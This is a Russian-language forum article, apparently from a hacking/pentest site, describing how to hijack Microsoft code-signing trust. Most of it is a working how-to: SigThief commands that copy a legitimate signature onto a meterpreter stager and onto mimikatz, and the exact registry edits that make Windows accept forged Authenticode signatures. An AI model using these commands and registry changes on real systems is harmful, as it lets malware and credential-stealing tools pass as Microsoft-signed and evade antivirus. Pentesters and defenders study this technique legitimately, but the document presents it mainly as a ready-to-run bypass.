Статья Угон сертификата подписи Microsoft

Code Signing сертификат – это сертификат, которым подписывается программное обеспечение или скрипты, который подтверждает автора программы и гарантирует, что код не был изменен, после того, как была наложена цифровая подпись. Также их еще называют сертификаты разработчика.
Во всех современных версиях Windows, начиная с Windows XP SP2, при установке программного обеспечения без такой цифровой подписи вы получите предупреждение. То же самое, кстати касается и установки драйверов, которые не имеют соответствующей цифровой подписи.
Microsoft Authenticode - для подписи 32 и 64 битных файлов (.exe, .cab, .dll, .ocx, .msi, .xpi и .xap файлы). Также позволяет подписывать код для Microsoft® Office, Microsoft VBA, Netscape Object Signing и Marimba Channel Signing.
Сертификаты подписи кода уже несколько лет используются злоумышленниками для обхода антивирусов и установки вредоносных программ. Ещё в 2010 году исследователи обратили внимание на образцы зловредов с сертификатами, скопированными из «чистых» файлов. Одной из первых «чёрные» сертификаты начала продавать хакерская группа C@T. В марте 2015 года на известном российском форуме Antichat она предлагала сертификаты Microsoft Authenticode. По заявлениям C@T, подпись кода таким сертификатом повышает процент успешных установок малвари на 30−50%.

Далее будет приведен пример обхода проверки подписи Microsoft , предложенный тестером на проникновение Chris Spehn (@_Lopi_ .

Сценарий заимствует подпись существующего приложения и модифицирует два ключа реестра, чтобы сделать его исполняемый файл с подписью Microsoft.

Для выполнения сценария обхода проверки подписи нам понадобятся два инструмента: mimikatz и SigThief .
Во-первых, давайте рассмотрим каждый из этих инструментов, даже если вы уже знакомы с ними.

Mimikatz - это приложение с открытым исходным кодом, которое позволяет пользователям просматривать и сохранять учетные данные для проверки подлинности, такие как билеты Kerberos . Набор инструментов работает с текущим выпуском Windows и включает в себя самые современные атаки.
Злоумышленники обычно используют Mimikatz для кражи учетных данных и повышения привилегий. И наоборот, пентестеры используют Mimikatz для обнаружения и использования уязвимостей в ваших сетях, чтобы вы могли их исправить.

01.jpg



SigThief
- это инструмент для быстрого тестирования, в нашем случае - кражи подписей. Короче говоря, он будет срывать подпись с подписанного PE-файла и добавлять его к другому, исправляя таблицу сертификатов для подписи файла.

КАК ПОЛЬЗОВАТЬСЯ

02.jpg
02.jpg



Возьмите подпись из двоичного файла и добавьте ее в другой двоичный файл

$ ./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe
Output file: /tmp/msftesting_tcpview.exe
Signature appended.
FIN.


Сохраните подпись на диск для последующего использования

$ ./sigthief.py -i tcpview.exe -r
Ripping signature to file!
Output file: tcpview.exe_sig
Signature ripped.
FIN.




Используйте вырванную подпись

$ ./sigthief.py -s tcpview.exe_sig -t x86_meterpreter_stager.exe
Output file: x86_meterpreter_stager.exe_signed
Signature appended.
FIN.




Сократить (удалить) подпись

$ ./sigthief.py -i tcpview.exe -T
Inputfile is signed!
Output file: tcpview.exe_nosig
Overwriting certificate table pointer and truncating binary
Signature removed.
FIN.


Проверьте, есть ли подпись

$ ./sigthief.py -i tcpview.exe -c

Inputfile is signed!




Руководство

1) Загрузите mimikatz: https: // github.com/gentilkiwi/mimikatz

2) Загрузите SigThief: https: // github.com/secretsquirrel/SigThief

3) Запустите следующую команду

sigthief.py -i C:\Windows\System32\consent.exe -t mimikatz.exe -o testaroo.exe

4) Ослабьте цель, изменив следующие ключи реестра (32 бита)

HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) – C:\Windows\System32\ntdll.dll

HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) – DbgUiContinue



5) Ослабьте цель, изменив следующие ключи реестра (64 бит)

HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) – C:\Windows\System32\ntdll.dll

HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) – DbgUiContinue

6) Проверьте, действительна ли эта подпись с PowerShel

Get-AuthenticodeSignature -FilePath C:\Path\To\file.exe

7) Начните новый процесс, чтобы угон вступил в силу:

powershell.exe

Примечание: это может быть любой процесс

8) Microsoft подписал mimikatz

1.jpg


2.jpg


Сценарий SubvertTrust Powershell

3.jpg

Можно скачать .

Успешно протестировано в Win7_x86 и Win10_x64.
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!